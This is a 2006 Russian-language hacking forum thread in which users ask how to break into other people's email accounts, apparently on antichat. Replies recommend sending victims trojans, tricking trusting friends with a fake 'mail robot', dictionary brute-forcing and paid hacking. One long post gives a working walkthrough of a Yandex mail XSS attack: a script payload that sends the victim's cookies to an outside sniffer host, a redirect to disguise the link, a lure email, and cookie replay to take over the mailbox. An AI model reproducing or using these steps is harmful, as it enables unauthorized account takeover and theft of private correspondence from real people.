Майл РОБОТЫ

Discussion in 'Уязвимости Mail-сервисов' started by LeoN_Y, 29 Oct 2006.

  1. LeoN_Y

    LeoN_Y New Member

    Joined:
    27 Oct 2006
    Messages:
    26
    Likes Received:
    1
    Reputations:
    0
    Народ, кто знает майл роботов на всех почтах, как часто они меняются, и как вообще им писать, или все это л..жа!!!!!
     
  2. Chumak

    Chumak Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    59
    Likes Received:
    7
    Reputations:
    -4
    Забудь про них, фишка с майл рботами не работает а работала года 4 назад....
    Лучше кинь троя тому кого хочеш взломать...
     
  3. ole

    ole New Member

    Joined:
    28 Oct 2006
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    а как это сделать?и где взять троян?и как это работает?я отправляю троян и мне присылается в ответе пароль?а жертва будет знать, что пароль взломан?мне нужно именно не взломать, а получить
     
  4. Chumak

    Chumak Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    59
    Likes Received:
    7
    Reputations:
    -4
    http://forum.antichat.ru/thread19273-xinch.html
    Здесь все описано....
     
  5. ole

    ole New Member

    Joined:
    28 Oct 2006
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    спасибки
     
  6. LeoN_Y

    LeoN_Y New Member

    Joined:
    27 Oct 2006
    Messages:
    26
    Likes Received:
    1
    Reputations:
    0
    Все описанно прочитал, сделал, толку мало ничего не пришло!!!!! Не получилось!!!
     
  7. Chumak

    Chumak Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    59
    Likes Received:
    7
    Reputations:
    -4
    Ты на ком пробовал?
     
  8. LeoN_Y

    LeoN_Y New Member

    Joined:
    27 Oct 2006
    Messages:
    26
    Likes Received:
    1
    Reputations:
    0
    Как на ком, пробую запустить на почту!!!
     
  9. LeoN_Y

    LeoN_Y New Member

    Joined:
    27 Oct 2006
    Messages:
    26
    Likes Received:
    1
    Reputations:
    0
    Понемаешь, мне нужно реально взломать два мыла, но перепробывал все способы которые тут описаны, или я не так делаю, либо Yandex в защите!!!
     
  10. Chumak

    Chumak Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    59
    Likes Received:
    7
    Reputations:
    -4
    Скорей всего хозяин мыла еще не проверил почту...
     
  11. -Concord-

    -Concord- Elder - Старейшина

    Joined:
    16 Jun 2006
    Messages:
    158
    Likes Received:
    191
    Reputations:
    68
    Интелектуально.... если надо за $$$ то обращайтесь. дёшево..
     
  12. bxN5

    bxN5 Elder - Старейшина

    Joined:
    8 Jan 2006
    Messages:
    687
    Likes Received:
    138
    Reputations:
    32
    Зделай сам мейл робота) Прокатит если чел которого хоч ломануть те доверяет,и он не сильно смышленный
    Придумай какое то мыло похожее на админское,и раскажи своему другу что нашол такого пасс робота что ему надо отправить некое сообщение, типа логин твоего мыла пасс твоего мыла например там в бин кодировке(даеш ему прогу которая переводит в бин и наоборот,можеш к ней троянчик прицепить) и мейл того кого хочет взломать (короче фантазируй) и даеш ему адрес тобою придуманый .Ну а дальше понятно.Метод старый и действует далеко не всегда но попробовать стоит.
     
  13. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    зы) чел ты видел видео по угону асек через примак там брутили примак yandex'a!
    зы) просто надо иметь хорошие словари!
     
  14. LeoN_Y

    LeoN_Y New Member

    Joined:
    27 Oct 2006
    Messages:
    26
    Likes Received:
    1
    Reputations:
    0
    народ скачал все словери какие сдесь есть, толку ни какого, все перебрал, плюс и трояна кидал, что только не пробовол, да понимаю я ее может не такой опытный, но всеже делал попытки и не хилые.
    Потом, перелазил все форумы, толкового только пару вещей, а остальное одно и тоже, только написанно по другому!!!!
    А насчет денег, если бы были $$$, то бы давно уже заказал, нет у меня финансов, простите!!!!!
     
  15. :X\SocinG\

    :X\SocinG\ New Member

    Joined:
    3 Nov 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Слухай сюды

    Честно говоря от троя толку мало коненкт сможешь кинуть когда жертва в инете.а так попробуй ломануть при помощи.
     
  16. porter

    porter Banned

    Joined:
    1 Mar 2005
    Messages:
    58
    Likes Received:
    9
    Reputations:
    1
    LeoN_Y на тебе пассивку на яндексе

    PHP:
    http://mail.yandex.ru/abuse?folder=\&mesid=1530000000010265046"><script>alert()</script>

    1)
    Иди на http://antichat.org/sniffer/add и делай себе сниффер

    добавление: также можешь сварганить сниффер здесь:http://s.kanick.ru/

    Например зарегишь себе ник Leon
    Знач, адрес сниффера у тебя будет: http://antichat.org/s/Leon.gif
    Адрес просмотра логов: http://antichat.org/s/Leon/log.php

    2) Потом топай на Nm.ru, регестрируй себе почту
    Заходи на почту.

    Создай текстовой файлик, в нём пропиши следущий код :

    PHP:
    img=new Image(); img.src="http://s.netsec.ru/Leon.gif&"+document.cookie;
    Теперь сохраняй файлик как j.js

    На почне nm.ru заходишь в раздел Мой сайт и загружаешь файлик j.js.

    Теперь этот файлик доступен по адрессу:

    http://Leon.nm.ru/j.js

    вместо Leon ставь свой логин на почте.

    3)Регимся на яндексе. заходим в почту.
    В браузере вбиваем:

    PHP:
    http://mail.yandex.ru/abuse?folder=\&mesid=1530000000010265046"><script%20src="http://Leon.nm.ru/j.js"></script>
    Идём на свой сниффер:http://antichat.org/s/Leon/log.php

    Смотрим. Пришли куки. Хорошо.

    4)
    идём на сайт loc.netsec.ruСоздаём перенаправление (а не то уж больно палевная ссылка):
    Вбиваем там нашу ссылочку:

    PHP:
    http://mail.yandex.ru/abuse?folder=\&mesid=1530000000010265046"><script%20src="http://Leon.nm.ru/j.js"></script>
    и в ответ получаем http://loc.netsec.ru/298.html.

    Либо 2ой вариант,как спрятать xss ссылку, читаем тут читаем тут - http://forum.antichat.ru/thread22898.html
    5)
    Теперь пишем нашей жертве на яндексе письмо со ссылкой http://loc.netsec.ru/298.html.
    Письмо должно быть убедительное, чтоб жертва нажала на ссылку. Включи фантазию!
    накрайняк пиши в пм, помогу.

    6)
    После отправки письма, сидим и ждём на сниффере его куки. Если жертва клюнет и нам пришлются куки, то в Опере (Инструменты>Дополнительно>Coocies)меняем свои куки на его и Вуа-ля, мы на его почте =)


    PS:Не забудь, ВЕЗДЕ в моём тексте изменить Leon на свой логин.
     
    #16 porter, 6 Nov 2006
    Last edited: 6 Nov 2006
    1 person likes this.
  17. stap

    stap Banned

    Joined:
    25 Oct 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    -2
    Куки приходят,вот только в ящик так и не получилось попасть ...
    Вот например на mail.ru после смены Cookies вбиваем в браузер следующие
    Code:
    http://win.mail.ru/cgi-bin/start
    а на yandex' е чё писать ???
     
    #17 stap, 6 Nov 2006
    Last edited: 6 Nov 2006
  18. porter

    porter Banned

    Joined:
    1 Mar 2005
    Messages:
    58
    Likes Received:
    9
    Reputations:
    1
    лично я захожу на свой ящик, меняю кукисы, и делаю рефреш (F5) страницы =)

    возможно ещё то, куки которые ты вставляешь уже старые, и время сессии истекло, так что на ящик тоже уже не попадёшь
     
    #18 porter, 6 Nov 2006
    Last edited: 6 Nov 2006
  19. LeoN_Y

    LeoN_Y New Member

    Joined:
    27 Oct 2006
    Messages:
    26
    Likes Received:
    1
    Reputations:
    0
    Мда поэкспирементировал со своим ящиком и пришло
    Forbidden
    You don't have permission to access /s/Leon123321/log.php on this server.
    Как понимать!!!